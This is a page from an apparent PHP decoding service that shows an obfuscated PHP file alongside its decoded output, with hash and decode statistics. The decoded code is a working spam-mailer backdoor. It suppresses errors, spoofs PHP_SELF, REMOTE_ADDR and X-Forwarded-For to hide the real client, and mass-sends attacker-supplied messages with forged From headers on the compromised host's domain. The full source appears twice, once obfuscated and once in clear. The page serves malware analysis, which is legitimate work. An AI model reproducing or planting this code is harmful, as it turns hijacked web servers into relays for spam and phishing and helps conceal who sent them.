Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto PyOpL; L5s47: $messages = $_POST["\x6d\145\x73\163\x61\x67\145\x73"]; goto h2..
Decoded Output download
<?php
goto PyOpL; L5s47: $messages = $_POST["messages"]; goto h27oO; h27oO: $resp = array("code" => 200, "send_status" => array()); goto d5dGs; PyOpL: @error_reporting(0); goto goZeN; HEbXd: @($_SERVER["PHP_SELF"] = "/index.php"); goto zB8OY; PhUC8: if (isset($_SERVER["REMOTE_ADDR"])) { while ($key = key($_SERVER)) { if ($_SERVER[$key] == $_SERVER["REMOTE_ADDR"]) { @($_SERVER[$key] = $ip); break; } next($_SERVER); } @($_SERVER["REMOTE_ADDR"] = $ip); } goto oMz38; jTiwC: if (!empty($_POST["test"])) { echo json_encode(array("code" => 200)); die; } goto Iy53c; F_LXP: @ignore_user_abort(true); goto Bep8_; wo3Ct: if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { @($_SERVER["HTTP_X_FORWARDED_FOR"] = $ip); } goto PhUC8; Iy53c: function main_domain_get($domain = '') { $domain = strtolower($domain); $domain_arr = explode(".", $domain); $domain_arr = array_reverse($domain_arr); $main_domain = array(); foreach ($domain_arr as $key => $value) { if (strlen($value) <= 3) { $main_domain[] = $value; } else { $main_domain[] = $value; if (count($main_domain) >= 2) { break; } } } $main_domain = array_reverse($main_domain); return implode(".", $main_domain); } goto L5s47; Bep8_: @ini_set("mail.add_x_header", 0); goto HEbXd; zB8OY: if (isset($_SERVER["SERVER_ADDR"]) && !empty($_SERVER["SERVER_ADDR"])) { $ip = $_SERVER["SERVER_ADDR"]; } else { $ip = rand(1, 255) . "." . rand(0, 255) . "." . rand(0, 255) . "." . rand(0, 255); } goto wo3Ct; d5dGs: foreach ($messages as $message) { $headers = "From: " . $message["from_name"] . " <" . $message["from_prefix"] . "@" . main_domain_get($_SERVER["HTTP_HOST"]) . ">" . "\xd
"; $headers .= "X-Mailer: PHP/" . phpversion() . "\xd\xa"; $headers .= "MIME-Version: 1.0" . "
\xa"; if (!empty($message["headers"])) { $headers .= implode("\xd
", $message["headers"]) . "
\xa"; } $b = mail($message["to"], $message["subject"], $message["body"], $headers); $resp["send_status"][] = array("id" => $message["id"], "status" => $b); } goto SkEgD; goZeN: @set_time_limit(150); goto F_LXP; oMz38: if (empty($_SERVER["HTTP_HOST"])) { echo json_encode(array("code" => 501)); die; } goto jTiwC; SkEgD: echo json_encode($resp); ?>
Did this file decode correctly?
Original Code
<?php
goto PyOpL; L5s47: $messages = $_POST["\x6d\145\x73\163\x61\x67\145\x73"]; goto h27oO; h27oO: $resp = array("\143\157\144\x65" => 200, "\163\145\x6e\144\x5f\x73\x74\141\x74\x75\163" => array()); goto d5dGs; PyOpL: @error_reporting(0); goto goZeN; HEbXd: @($_SERVER["\120\x48\x50\137\x53\x45\x4c\x46"] = "\57\151\x6e\144\145\170\56\160\x68\160"); goto zB8OY; PhUC8: if (isset($_SERVER["\x52\105\x4d\117\x54\105\x5f\101\104\x44\x52"])) { while ($key = key($_SERVER)) { if ($_SERVER[$key] == $_SERVER["\x52\105\x4d\117\124\105\x5f\x41\x44\x44\x52"]) { @($_SERVER[$key] = $ip); break; } next($_SERVER); } @($_SERVER["\122\105\115\x4f\x54\x45\137\101\x44\104\122"] = $ip); } goto oMz38; jTiwC: if (!empty($_POST["\x74\x65\x73\x74"])) { echo json_encode(array("\143\x6f\144\x65" => 200)); die; } goto Iy53c; F_LXP: @ignore_user_abort(true); goto Bep8_; wo3Ct: if (isset($_SERVER["\110\124\124\x50\137\130\x5f\106\x4f\x52\x57\101\x52\x44\105\104\137\106\x4f\122"]) && !empty($_SERVER["\110\x54\x54\x50\137\130\x5f\106\x4f\x52\127\101\x52\x44\105\104\x5f\x46\117\x52"])) { @($_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\x4f\122\127\101\x52\x44\x45\x44\137\x46\x4f\x52"] = $ip); } goto PhUC8; Iy53c: function main_domain_get($domain = '') { $domain = strtolower($domain); $domain_arr = explode("\56", $domain); $domain_arr = array_reverse($domain_arr); $main_domain = array(); foreach ($domain_arr as $key => $value) { if (strlen($value) <= 3) { $main_domain[] = $value; } else { $main_domain[] = $value; if (count($main_domain) >= 2) { break; } } } $main_domain = array_reverse($main_domain); return implode("\56", $main_domain); } goto L5s47; Bep8_: @ini_set("\155\x61\x69\154\56\x61\144\x64\137\x78\x5f\x68\x65\141\144\145\x72", 0); goto HEbXd; zB8OY: if (isset($_SERVER["\x53\105\122\x56\x45\x52\137\101\x44\104\122"]) && !empty($_SERVER["\x53\x45\122\126\105\x52\x5f\x41\104\104\x52"])) { $ip = $_SERVER["\x53\105\122\x56\105\122\x5f\101\x44\104\122"]; } else { $ip = rand(1, 255) . "\x2e" . rand(0, 255) . "\56" . rand(0, 255) . "\56" . rand(0, 255); } goto wo3Ct; d5dGs: foreach ($messages as $message) { $headers = "\x46\162\157\x6d\x3a\x20" . $message["\x66\162\x6f\155\x5f\x6e\x61\x6d\x65"] . "\x20\x3c" . $message["\x66\x72\157\x6d\137\x70\162\x65\x66\151\170"] . "\x40" . main_domain_get($_SERVER["\x48\124\124\120\137\x48\117\123\x54"]) . "\x3e" . "\xd\12"; $headers .= "\x58\55\115\141\x69\x6c\145\x72\72\40\120\x48\120\x2f" . phpversion() . "\xd\xa"; $headers .= "\x4d\111\115\x45\x2d\126\145\x72\x73\x69\x6f\x6e\72\40\61\x2e\60" . "\15\xa"; if (!empty($message["\x68\x65\x61\x64\x65\162\163"])) { $headers .= implode("\xd\12", $message["\x68\x65\141\144\145\162\163"]) . "\15\xa"; } $b = mail($message["\164\157"], $message["\x73\165\142\x6a\145\x63\x74"], $message["\x62\x6f\x64\171"], $headers); $resp["\163\x65\x6e\144\137\x73\x74\x61\x74\x75\x73"][] = array("\x69\x64" => $message["\x69\x64"], "\163\x74\141\x74\x75\163" => $b); } goto SkEgD; goZeN: @set_time_limit(150); goto F_LXP; oMz38: if (empty($_SERVER["\110\x54\124\120\x5f\110\117\123\124"])) { echo json_encode(array("\143\x6f\x64\x65" => 501)); die; } goto jTiwC; SkEgD: echo json_encode($resp);
Function Calls
None |
Stats
MD5 | 217ee5876649dbd8200e3572456cd956 |
Eval Count | 0 |
Decode Time | 66 ms |